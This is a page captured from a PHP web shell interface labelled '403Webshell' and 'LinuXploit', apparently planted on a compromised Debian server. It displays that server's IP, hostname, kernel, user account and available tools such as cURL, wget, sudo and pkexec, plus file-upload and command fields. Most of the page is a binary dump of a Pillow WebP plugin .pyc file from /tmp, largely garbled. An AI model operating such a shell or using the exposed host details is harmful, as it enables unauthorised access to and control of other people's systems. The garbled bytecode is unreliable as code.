403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/calpy/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/calpy/PIL/__pycache__/WebPImagePlugin.cpython-311.pyc
�

Υ=j~&���ddlmZddlmZddlmZmZ	ddlmZdZn
#e	$rdZYnwxYwdZ
e
rddlmZm
Z
d	d
d
d�Zd d�ZGd�dej��Zd!d�Zd"d�Zd"d�Zejejee��erZejeje��ejeje��ejejd��ejejd��dSdS)#�)�annotations)�BytesIO�)�Image�	ImageFile)�_webpTF)�IO�Any�RGB�RGBA)sVP8 sVP8XsVP8L�prefix�bytes�return�
bool | strc��|�d��}|dd�dk}|dd�tv}|r|r|rts	dSdSdS)	NsRIFF��sWEBP�zEimage file could not be identified because WEBP support not installedTF)�
startswith�_VP8_MODES_BY_IDENTIFIER�	SUPPORTED)r
�is_riff_file_format�is_webp_file�is_valid_vp8_modes    �F/tmp/claude-1015/pip-target-jmvfl800/lib/python/PIL/WebPImagePlugin.py�_acceptrst�� �+�+�G�4�4���!�B�$�<�7�*�L��r�"�u�
�)A�A����|��0A���	�W�
�
��t��5�c�r��eZdZdZdZdZdZdd�Zdd�Zdd�Z	ddd�Z
dd�Zdd�Zd�fd�Z
dd�Zd d�Z�xZS)!�
WebPImageFile�WEBPz
WebP imagerr�Nonec�0�|j�J�tj|j�����|_|j���\|_|jd<}|_|_	|dz	dz|dz	dz|dz|dz	dzf|jd<|jdk|_
|j	dkrd	n|j	|_d
ddd
����D]+\}}|j�
|��x}r
||j|<�,|�d���dS)N�loopr�r��
backgroundr�RGBXr�ICCP�EXIFzXMP )�icc_profile�exif�xmpF)�reset)�fpr�WebPAnimDecoder�read�_decoder�get_info�_size�info�n_frames�rawmode�is_animated�_mode�items�	get_chunk�_reset)�self�bgcolor�key�
chunk_name�values     r�_openzWebPImageFile._open-s:���w�"�"�"��-�d�g�l�l�n�n�=�=��
�
�M�"�"�$�$�	L��
�D�I�f�%�w��
�t�|���]�d�"�
��\�T�!��d�N�
��]�d�"�	#
��	�,�� �=�1�,���"�l�f�4�4�U�U�$�,��
�"��� 
� 
��%�'�'�		'�	'�O�C��
�
�/�/�
�;�;�;�u�
'�!&��	�#���	
���%�� � � � � r�dict[int, Any] | Nonec�d�d|jvrdS|������S)Nr+)r4�getexif�_get_merged_dict�r<s r�_getexifzWebPImageFile._getexifLs.�����"�"��4��|�|�~�~�.�.�0�0�0r�frame�intc�B�|�|��sdS||_dS�N)�_seek_check�_WebPImageFile__logical_frame�r<rHs  r�seekzWebPImageFile.seekQs-������&�&�	��F� %����rTr-�boolc�f�|r|j���d|_d|_d|_dS)Nr���)r1r-�_WebPImageFile__physical_frame�_WebPImageFile__loaded�_WebPImageFile__timestamp)r<r-s  rr;zWebPImageFile._resetXs;���	"��M���!�!�!� !�����
�����r�tuple[bytes, int, int]c��|j���}|xjdz
c_|�:|���|�d��d}t|���|\}}||jz
}||_||z}|||fS)Nrrz(failed to decode next frame in WebP file)r1�get_nextrSr;rO�EOFErrorrU)r<�ret�msg�data�	timestamp�durations      r�	_get_nextzWebPImageFile._get_next_s����m�$�$�&�&������"����;��K�K�M�M�M��I�I�a�L�L�L�<�C��3�-�-�����i��t�/�/��$���	�X��	��Y��(�(rc��|j|krdS||jkr|���|j|kr!|���|j|k�dSdSrK)rSr;r_rNs  r�_seekzWebPImageFile._seektsj��� �E�)�)��F��4�(�(�(��K�K�M�M�M��#�e�+�+��N�N�����#�e�+�+�+�+�+�+r�Image.core.PixelAccess | Nonec����|j|jkr�|�|j��|���\}|jd<|jd<|j|_|jr |jr|j���t|��|_tj
dd|jzd|j��g|_
t�����S)Nr]r^�raw)rrr)rTrMrar_r4r.�
_exclusive_fp�closerr�_Tile�sizer6�tile�super�load)r<r\�	__class__s  �rrkzWebPImageFile.load|s�����=�D�0�0�0��J�J�t�+�,�,�,�CG�.�.�BR�BR�?�D�$�)�K�(�$�)�J�*?� �0�D�M��w�
 �4�-�
 ���
�
�����d�m�m�D�G�"������0B�A�t�|�T�T�U�D�I��w�w�|�|�~�~�r�posc��dSrK�)r<rms  r�	load_seekzWebPImageFile.load_seek�s���rc��|jSrK)rMrFs r�tellzWebPImageFile.tell�s���#�#r)rr!)rrB)rHrIrr!)T)r-rPrr!)rrV)rrb)rmrIrr!)rrI)�__name__�
__module__�__qualname__�format�format_descriptionrTrMrArGrOr;r_rarkrprr�
__classcell__)rls@rrr's��������
�F�%���H��O�!�!�!�!�>1�1�1�1�
%�%�%�%������)�)�)�)�*���������� 
�
�
�
�$�$�$�$�$�$�$�$rr�im�Image.Imagec�T�|jdvr|�|jrdnd��}|S)N)r'rrrr)�mode�convert�has_transparency_data)rys r�_convert_framer�s2��	�w�-�-�-�
�Z�Z�"�":�E����
F�
F��
�Irr.�	IO[bytes]�filename�str | bytesr!c
�Z	�|j���}t|�dg����}d}|g|zD]}|t	|dd��z
}�|dkrt|||��dSd}d|vr	|d}ned|jvr\|jd}t|t��r:|�	��}|r||dz|dzdz�\}	}
}|	|
|df}n|||df}|j�d	|j�d	d����}|j�d
d��}
|j�dd��}|j�d
d��}|j�dd��}|j�dd��}d}|j�dd��}|j�dd��}|j�dd��}|j�dd��}|j�d��pd}|j�dd��}t|tj��r|���}|j�dd��}|rd}|�|rdnd}|�|rdnd}t|ttf��r,t|��dkstd�|D����sd|��}t!|���|\}}}}|d z|d!zz|d"zz|dzz}t#j|j||
|||||��}d} d}!|���}"	|g|zD]�}t	|dd��}#t+|#��D]�}$|�|$��t/|��}%|�|%���t5|!��||||��t|ttf��r|!|| z
}!n|!|z
}!| dz
} ����	|�|"��n#|�|"��wxYw|�dt5|!��|||d��|�|||��}&|&�d#}t!|���|�|&��dS)$N�
append_imagesrr5r)rrrrr&�r$r^r#�
minimize_sizeF�kmin�kmax�allow_mixed�lossless�quality�P�
alpha_quality�d�methodr*�r+r,�	���c3�6K�|]}d|cxkodkncV��dS)r�Nro)�.0�vs  r�	<genexpr>z_save_all.<locals>.<genexpr>�s6����4�4�A�1��<�<�<�<�C�<�<�<�<�4�4�4�4�4�4rz:Background color is not an RGBA tuple clamped to (0-255): r%rr�1cannot write file as WebP (encoder returned None))�encoderinfo�copy�list�get�getattr�_saver4�
isinstancerI�
getpaletter�Exif�tobytes�tuple�len�all�OSErrorr�WebPAnimEncoderrhrr�rangerOr�add�getim�round�assemble�write)'ryr.r�r�r��total�imsr&�palette�r�g�br^r#r�r�r�r��verboser�r�r�r�r*r+r,r[�bg_r�bg_g�bg_b�bg_a�enc�	frame_idxr]�cur_idx�nfr�idxrHr\s'                                       r�	_save_allr��s���.�%�%�'�'�K������"�=�=�>�>�M�
�E��t�m�#�-�-��
���j�!�,�,�,�����z�z�
�b�"�h������(4�J��{�"�"� ��.�
�
�	���	 �	 ��W�\�*�
��j�#�&�&�	G��m�m�o�o�G��
G�!�*�q�.�J��N�a�3G�"G�H���1�a���A�s�^�
�
�(�*�j�#�F�
��~�!�!�*�b�g�k�k�*�a�.H�.H�I�I�H�
�>���f�a�(�(�D��N�&�&���>�>�M�
�>���f�d�+�+�D�
�>���f�d�+�+�D��.�$�$�]�E�:�:�K��G��~�!�!�*�e�4�4�H��n� � ��B�/�/�G��N�&�&���<�<�M�
�^�
�
��!�
,�
,�F��.�$�$�]�3�3�9�r�K�
�>���f�b�)�)�D��$��
�#�#���|�|�~�~��
�.�
�
�U�B�
'�
'�C������|��#�q�q�!���|��$�r�r�1��
�z�D�%�=�1�1���z�?�?�a����4�4��4�4�4�4�4� �X�:�W�W���c�l�l��(��D�$��d��"�*����,���	�:�d�a�i�H�J��
�
���������	�	�C��I��I��g�g�i�i�G���4�-�'�	�	�C��#�z�1�-�-�C��S�z�z�
�
������
�
�
�&�s�+�+������K�K�M�M��)�$�$���!��
����h��u�
�6�6�*���)�!4�4�I�I���)�I��Q��	�	�)
�		�6	���������������������G�G�D�%�	�"�"�H�g�}�a�H�H�H��<�<��T�3�/�/�D��|�A���c�l�l���H�H�T�N�N�N�N�Ns
�B;P+�+Qc�V�|j�dd��}|j�dd��}|j�dd��}|j�d��pd}|j�d	d
��}t|tj��r|���}|�d��r
|dd�}|j�d
d��}|j�dd��}	|j�d��rdnd}
t|��}tj	|�
��|t|��t|��||	|
||�	�	}|�d}t|���|�
|��dS)Nr�Fr�r�r�r�r*r�r+rsExif�r,r�r��exactrrr�)r�r�r�rr�r�rrr�
WebPEncoder��floatr�r�)
ryr.r�r�r�r�r*r+r,r�r�r\r[s
             rr�r�s����~�!�!�*�e�4�4�H��n� � ��B�/�/�G��N�&�&���<�<�M��.�$�$�]�3�3�9�r�K�
�>���f�c�*�*�D��$��
�#�#���|�|�~�~������'�'���A�B�B�x��
�.�
�
�U�B�
'�
'�C�
�^�
�
��!�
,�
,�F���#�#�G�,�,�3�A�A�!�E�	��	�	�B���
���
�
��
�g���
�m�����
���
�
�D��|�A���c�l�l���H�H�T�N�N�N�N�Nrz.webpz
image/webpN)r
rrr)ryrzrrz)ryrzr.r�r�r�rr!)�
__future__r�iorr�rrrr�ImportError�
TYPE_CHECKING�typingr	r
rrrrr�r��
register_openrv�
register_save�register_save_all�register_extension�
register_mimerorr�<module>r�s���"�"�"�"�"�"�����������������������I�I�������I�I�I������
������������
�
��������i$�i$�i$�i$�i$�I�'�i$�i$�i$�X����y�y�y�y�x����D���M�(�-��A�A�A��<��E��
�,�e�4�4�4��E��M�0�)�<�<�<��E��]�1�7�;�;�;��E��
�,�l�;�;�;�;�;�	<�<s��)�)

Youez - 2016 - github.com/yon3zu
LinuXploit